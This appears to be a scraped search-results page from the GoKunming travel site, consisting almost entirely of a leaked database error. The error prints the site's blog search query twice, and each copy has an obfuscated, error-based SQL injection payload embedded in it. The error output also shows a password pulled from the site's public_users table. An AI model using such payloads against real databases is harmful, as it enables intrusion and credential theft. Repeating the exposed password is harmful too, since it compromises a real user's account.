SELECT
                c.blog_id,
                c.category_id,
                c.user_id,
                c.title,
                c.content,
                c.content_stripped,
                a.display_name,
                c.ts,
                COUNT(com.comment_id) AS num_comments,
                MAX(com.ts) as comment_ts
                , (CASE when c.title like '%mumps%' then 1 else 0 END) as titlematch,
									(CASE WHEN COUNT(t.tag) > 0 THEN 1 ELSE 0 END) AS tags,
                                    MATCH (title, content_stripped) AGAINST ('mumps') AS relevance 
                FROM blog_content c
                LEFT JOIN blog_comments com ON (c.blog_id = com.blog_id AND com.live = 1)
                LEFT JOIN admin_users a ON (c.user_id = a.user_id)
                 LEFT JOIN (SELECT blog_id, tag FROM blog_tags WHERE tag LIKE '%mumps%') t ON (c.blog_id = t.blog_id) 
                WHERE c.ts < NOW()
                 AND c.ts >= NOW() - INTERVAL (/**/sElEcT 1 /**/fRoM(/**/sElEcT count(*),/**/cOnCaT((/**/sElEcT(/**/sElEcT(/**/sElEcT /**/cOnCaT(0x217e21,ifnull(password,char(32)),0x217e21) /**/fRoM gokunming.public_users /**/lImIt 8006,1)) /**/fRoM information_schema./**/tAbLeS /**/lImIt 0,1),floor(rand(0)*2))x /**/fRoM information_schema./**/tAbLeS /**/gRoUp/**/bY x)a) MONTH
                
                AND properties & 1  GROUP BY c.blog_id HAVING titlematch = 1 OR tags = 1 OR relevance > 0.5 ORDER BY titlematch DESC, tags DESC, relevance DESC, c.ts DESC, Duplicate entry '!~!mandala051!~!1' for key 'group_key'
SELECT
                c.blog_id,
                c.category_id,
                c.user_id,
                c.title,
                c.content,
                c.content_stripped,
                a.display_name,
                c.ts,
                COUNT(com.comment_id) AS num_comments,
                MAX(com.ts) as comment_ts
                , (CASE when c.title like '%mumps%' then 1 else 0 END) as titlematch,
									(CASE WHEN COUNT(t.tag) > 0 THEN 1 ELSE 0 END) AS tags,
                                    MATCH (title, content_stripped) AGAINST ('mumps') AS relevance 
                FROM blog_content c
                LEFT JOIN blog_comments com ON (c.blog_id = com.blog_id AND com.live = 1)
                LEFT JOIN admin_users a ON (c.user_id = a.user_id)
                 LEFT JOIN (SELECT blog_id, tag FROM blog_tags WHERE tag LIKE '%mumps%') t ON (c.blog_id = t.blog_id) 
                WHERE c.ts < NOW()
                 AND c.ts >= NOW() - INTERVAL (/**/sElEcT 1 /**/fRoM(/**/sElEcT count(*),/**/cOnCaT((/**/sElEcT(/**/sElEcT(/**/sElEcT /**/cOnCaT(0x217e21,ifnull(password,char(32)),0x217e21) /**/fRoM gokunming.public_users /**/lImIt 8006,1)) /**/fRoM information_schema./**/tAbLeS /**/lImIt 0,1),floor(rand(0)*2))x /**/fRoM information_schema./**/tAbLeS /**/gRoUp/**/bY x)a) MONTH
                
                AND properties & 1  GROUP BY c.blog_id HAVING titlematch = 1 OR tags = 1 OR relevance > 0.5 ORDER BY titlematch DESC, tags DESC, relevance DESC, c.ts DESC LIMIT 0, 10, Duplicate entry '!~!mandala051!~!1' for key 'group_key'
mumps Articles - GoKunming
Wonders Of Yunnan Travel

mumps Articles

Cancel search
RSS feed